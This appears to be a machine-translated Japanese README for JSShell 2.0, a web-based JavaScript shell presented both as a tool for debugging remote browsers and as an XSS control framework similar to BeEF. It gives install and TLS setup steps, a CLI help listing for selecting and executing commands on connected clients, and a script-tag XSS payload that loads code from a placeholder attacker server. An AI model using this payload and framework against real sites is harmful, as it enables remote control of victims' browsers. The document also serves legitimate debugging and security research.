インタラクティブなマルチユーザーWebベースのJavaScriptシェル。実験や研究中にリモートの難解なブラウザをデバッグするために、当初作成されました。このツールは、XSS(クロスサイトスクリプト)ペイロードに簡単に接続して、ブラウザリモートコード実行を実現できます(ビーフフレームワークと同様)。
バージョン2.0は完全にゼロから作成されており、新しいエキサイティングな機能、安定性、保守性を紹介します。
ダニエル・アベレス。
<script>タグを介して注射可能resourcesディレクトリで、目的の構成を使用してconfig.jsonファイルを更新します。
docker展開方法で実行されている場合、データベースホストをdb (内部ホスト名)として選択します。shell.jsファイルは、新しいコマンドを登録および投票するためにいくつかのajax呼び出しを行います。通常、それはhttp[s]://{YOUR_SERVER_IP}:{PORT}になります。JSShellはTLSをサポートしています。つまり、TLS証明書を生成してWebサーバーに送信できるようになりました。 Webサーバーは、 config.jsonファイルからドメイン名を推測します。証明書を作成するには、 scriptsフォルダーでcreate_cert.pyスクリプトを使用します。
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > スクリプトが適切に機能するためには、Webサーバーがダウンしている必要があることに注意してください。この時点で、証明書を正常に生成しました!私たちがしなければならない唯一の変更は次のとおりです。
config.jsonファイルで、 URLフィールドのスキーマをhttpsに変更します。docker-compose.ymlファイルでは、 webコンテナの露出したポートを443に変更します。この新しいバージョンは、 dockerとdocker-composeを介してJSShellのインストールと実行をサポートしています。次に、JSShellフレームワーク全体をインストールして実行するには、単に実行してください。
$ ./scripts/start_docker_shell.shこれは:
JSShellコマンドラインインターフェイスコンテナの新しいインスタンスをスポーン古いファッションのインストール方法をまだ使用する場合は、 MongoDBデータベースがアップして実行されていることを確認し、 resourcesディレクトリに存在するconfig.jsonファイルを更新してください。
pyenvで仮想環境を使用することをお勧めします:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venvまたはvirtualenvを使用してください:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate次に、要件をインストールします。
$ pip install -r requirements.txtdockerメソッドを使用した場合、次の手順を実行する必要はありません。
それ以外の場合は、データベースのセットアップを取得したら、Web APIサーバーを起動する必要があります。するには、実行してください:
$ python manage.py webこれにより、着信接続に耳を傾け、JSShellコードを提供するWebサーバーが作成および実行されます。
JSShell CLIを起動するには、同じスクリプトを実行しますが、今度はshellフラグを使用して実行します。
$ python manage.py shell必要なコンポーネントをセットアップして実行した後、 helpコマンドを入力して、利用可能なコマンドを確認します。
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShellは2つの操作方法をサポートしています。
他のXSSコントロールフレームワーク(牛肉など)と同様に、JSShellは成功したXSSエクスプロイトを管理することができます。たとえば、 scriptタグを挿入できる場合は、次のリソースをペイロードに挿入すると、新しいクライアントがコンソールに表示されます。
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
エキゾチックなブラウザと難解なブラウザをデバッグしたい場合は、 http[s]://{YOUR_SERVER_IP}:{PORT}/および新しいクライアントがJSShell CLIクライアントにポップアップするだけです。 JSShellコンソールを介してデバッグ可能になりました。
JSON.PruneのCanop